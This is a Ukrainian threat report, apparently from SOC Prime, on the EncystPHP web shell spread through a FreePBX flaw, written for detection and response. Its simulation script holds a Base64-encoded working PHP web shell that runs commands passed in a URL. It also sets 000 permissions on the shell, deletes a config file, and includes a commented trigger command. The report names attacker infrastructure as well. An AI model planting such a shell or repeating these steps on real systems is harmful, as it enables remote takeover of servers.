SOC Prime Bias: Критичний

03 Feb 2026 19:33

EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

FortiGuard Labs повідомляє про PHP веб-шелл під назвою EncystPHP впроваджений на відкритих інстанціях FreePBX шляхом експлуатації CVE-2025-64328. Імплант дає змогу віддалено виконувати команди, надає права привілейованим користувачам і встановлює багатошарову стійкість через cron завдання та подальші дропери. Діяльність пов’язана з командою INJ3CTOR3 і, схоже, націлена на телекомунікаційні середовища. До опублікованих індикаторів належать зловмисні IP-адреси, домени, URL-адреси та декілька ворожих шляхів файлів.

Розслідування

Слідчі відстежили початковий доступ до помилки ін’єкції команд після аутентифікації в FreePBX Endpoint Manager. Після успішної експлуатації оператор витягує дропер з 45.234.176.202, послаблює дозволи на ключові компоненти PHP, витягує облікові дані бази даних, створює обліковий запис рівня root і додає контрольований зловмисником SSH ключ. Стійкість підкріплюється записами cron, які безперервно отримують додаткові дропери та оновлюють артефакти. EncystPHP також маскується під легітимні файли FreePBX і маніпулює часовими мітками, щоб зменшити видимість під час рутинного триажу.

Стримування

Виправте FreePBX Endpoint Manager, щоб розв’язати CVE-2025-64328 (і будь-які супутні виправлення) якомога швидше. Шукайте несанкціоновані веб-шелл файли, підозрілі розклади cron і новостворених локальних користувачів з правами адміністратора. Блокуйте вихідний HTTP до відомої зловмисної інфраструктури і забезпечте суворі, мінімально необхідні дозволи на каталоги, що стикаються з вебом, і PHP активи.

Відповідь

При виявленні ізолюйте уражений PBX сервер, видаліть артефакти EncystPHP, знищте несанкціоновані cron завдання і скиньте локальні облікові записи та SSH ключі. Перевірте журнали та резервні копії конфігурацій, щоб визначити зміни, потім застосуйте поточні оновлення безпеки та зміцніть веб-інтерфейс. Переконайтесь, що жодні вторинні дропери або механізми стійкості не залишилися, перш ніж відновлювати нормальну роботу телефонії.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>Експлуатація менеджера кінцевих точок FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Tool</b> – <b>Name</b>: wget<br/><b>Description</b>: завантаження файлів через HTTP”] class tool_wget tool process_shell[“<b>Process</b> – <b>T1059.004 Command and Scripting Interpreter: Unix Shell</b><br/>Bash-скрипти c, k.php, test.sh, декодовані з Base64”] class process_shell process file_c[“<b>File</b> – c (bash script)”] class file_c file file_kphp[“<b>File</b> – k.php (PHP dropper)”] class file_kphp file file_testsh[“<b>File</b> – test.sh (bash script)”] class file_testsh file credential_access[“<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>Зібрано облікові дані бази даних з /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>File</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>”] class priv_esc_exploit action account_create[“<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Створено користувача рівня root newfpbx з наперед заданим хешем пароля”] class account_create action persistence_webshell[“<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Розгорнуто EncystPHP, замаскований під ajax.php та config.php”] class persistence_webshell action file_ajaxphp[“<b>File</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>File</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Action</b> – <b>T1053.003 Scheduled Task/Job: Cron</b><br/>Встановлено cron-завдання для завантаження та виконання k.php кожну хвилину”] class persistence_cron action defense_perm_mod[“<b>Action</b> – <b>T1222.002 File and Directory Permissions Modification: Linux</b><br/>Встановлено права доступу 000 та підроблено часові мітки”] class defense_perm_mod action defense_masquerade[“<b>Action</b> – <b>T1036.005 Masquerading</b><br/>Розміщено оболонки у легітимних на вигляд шляхах”] class defense_masquerade action defense_indicator_removal[“<b>Action</b> – <b>T1070.004 File Deletion</b> and <b>T1070.006 Timestomp</b><br/>Видалено журнали, cron-записи та змінено часові мітки файлів”] class defense_indicator_removal action lateral_movement_ssh[“<b>Action</b> – <b>T1021.004 Remote Services: SSH</b> and <b>T1098.004 SSH Authorized Keys</b><br/>Вставлено публічний ключ зловмисника до authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Action</b> – <b>T1105 Ingress Tool Transfer</b> and <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Отримано дропери з 45.234.176.202 за допомогою wget”] class command_and_control action impact_hijack[“<b>Action</b> – <b>T1496 Resource Hijacking</b><br/>PBX використано для несанкціонованих вихідних дзвінків”] class impact_hijack action defense_impair[“<b>Action</b> – <b>T1562.001 Impair Defenses</b> and <b>T1548 Abuse Elevation Control Mechanism</b><br/>Вимкнено звітування про помилки та використано адміністративний контекст для змін у системі”] class defense_impair action %% Edges initial_access –>|uses| tool_wget tool_wget –>|downloads| file_c tool_wget –>|downloads| file_kphp tool_wget –>|downloads| file_testsh initial_access –>|leads to| process_shell process_shell –>|executes| file_c process_shell –>|executes| file_kphp process_shell –>|executes| file_testsh process_shell –>|leads to| credential_access credential_access –>|reads| file_freepbxconf credential_access –>|enables| priv_esc_exploit priv_esc_exploit –>|enables| account_create account_create –>|enables| persistence_webshell persistence_webshell –>|creates| file_ajaxphp persistence_webshell –>|creates| file_configphp persistence_webshell –>|enables| persistence_cron persistence_cron –>|creates| file_kphp persistence_cron –>|uses| tool_wget persistence_cron –>|sets| defense_perm_mod defense_perm_mod –>|supports| defense_masquerade defense_masquerade –>|supports| defense_indicator_removal persistence_webshell –>|supports| lateral_movement_ssh lateral_movement_ssh –>|enables| command_and_control command_and_control –>|provides| impact_hijack command_and_control –>|supports| defense_impair

Потік атаки

Детекції

Можливий новий обліковий запис для стійкості [Linux] (через cmdline)

Команда SOC Prime
02 лютого 2026

Файл cron був створений (через file_event)

Команда SOC Prime
02 лютого 2026

Завантаження в підозрілі каталоги (через cmdline)

Команда SOC Prime
02 лютого 2026

Можлива спроба виявлення відомих хостів SSH [MacOS] (через cmdline)

Команда SOC Prime
02 лютого 2026

Можлива маніпуляція з Base64-кодованими рядками (через cmdline)

Команда SOC Prime
02 лютого 2026

IOCs (DestinationIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

IOCs (HashSha256) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

IOCs (SourceIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

Виявлення записів crontab для постійного завантаження k.php і c дроперів [Linux процес створення]

Правила AI SOC Prime
02 лютого 2026

Розгортання EncystPHP Web Shell і стійкість через CVE-2025-64328 [Linux процес створення]

Правила AI SOC Prime
02 лютого 2026

Виявлення активності EncystPHP Web Shell у FreePBX [Подія файлу Linux]

Правила AI SOC Prime
02 лютого 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базового рівня Pre‑flight Check повинна пройти.

Рішення: Цей розділ детально описує точну реалізацію техніки противника (TTP), призначену для виклику правила виявлення. Команди та наратив МУСИТЬ прямо відображати ідентифіковані TTP і мають мету генерувати точну телеметрію, очікувану логікою виявлення.

  • Наратив атаки та команди:

    1. Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл ajax.php буде записано до /var/www/html/admin/views/ajax.php.
    2. Встановіть обмежувальні дозволи – Відразу після впровадження зловмисник запускає chmod 000 ajax.php щоб сховати шелл від звичайних користувачів і примусово виконувати його під привілейованим акаунтом веб-сервера (T1222.002).
    3. Видалити критичну конфігурацію – Щоб погіршити виявлення та примусити систему перезавантажитися зі зловмисним шеллом, зловмисник видаляє /etc/freepbx.conf (T1070.004, T1562.001).
    4. Запустити шелл – Простий HTTP GET до новоствореного ajax.php виконує навантаження, встановлюючи зворотний шелл (T1105, T1059.004).
  • Сценарій регресійного тесту: Скрипт відтворює кроки 1-3 у контрольованій тестовій директорії (/tmp/freepbx_test) для уникнення впливу на продуктивну систему.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Команди очищення:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Тестова середа очищена."